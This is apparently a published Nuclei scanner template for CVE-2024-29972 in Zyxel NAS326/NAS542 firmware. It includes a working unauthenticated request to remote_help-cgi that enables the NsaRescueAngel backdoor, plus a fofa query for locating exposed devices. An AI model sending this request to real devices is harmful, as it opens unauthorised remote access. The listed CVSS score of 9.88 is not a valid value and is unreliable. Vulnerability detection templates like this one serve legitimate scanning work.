The command injection vulnerability in the CGI program "remote_help-cgi" in Zyxel NAS326 firmware versions before V5.21(AAZF.17)C0 and NAS542 firmware versions before V5.21(ABAG.14)C0 could allow an unauthenticated attacker to execute some operating system (OS) commands by sending a crafted HTTP POST request.
PoC代码[已公开]
id: CVE-2024-29972
info:
name: Zyxel NAS326 Firmware < V5.21(AAZF.17)C0 - NsaRescueAngel Backdoor Account
author: gy741
severity: critical
description: |
The command injection vulnerability in the CGI program "remote_help-cgi" in Zyxel NAS326 firmware versions before V5.21(AAZF.17)C0 and NAS542 firmware versions before V5.21(ABAG.14)C0 could allow an unauthenticated attacker to execute some operating system (OS) commands by sending a crafted HTTP POST request.
reference:
- https://outpost24.com/blog/zyxel-nas-critical-vulnerabilities/
- https://nvd.nist.gov/vuln/detail/CVE-2024-29972
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.88
cve-id: CVE-2024-29972
cwe-id: CWE-78
epss-score: 0.92325
epss-percentile: 0.99715
cpe: cpe:2.3:o:zyxel:nas326_firmware:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: zyxel
product: nas326_firmware
fofa-query: app="ZYXEL-NAS326"
tags: cve,cve2024,zyxel,backdoor,vkev
http:
- raw:
- |
GET /desktop,/cgi-bin/remote_help-cgi/favicon.ico?type=sshd_tdc HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains(body, 'result=0')"
condition: and
# digest: 490a004630440220388dd118e733093d504448406ff9c5a30b701e29381e422c2ba1f04f04a159f1022029806623f0cd446fa7e26f8487a177fd6ca18aa3b59acf4d866a8c131a6f2e04:922c64590222798bb761d5b6d8e72950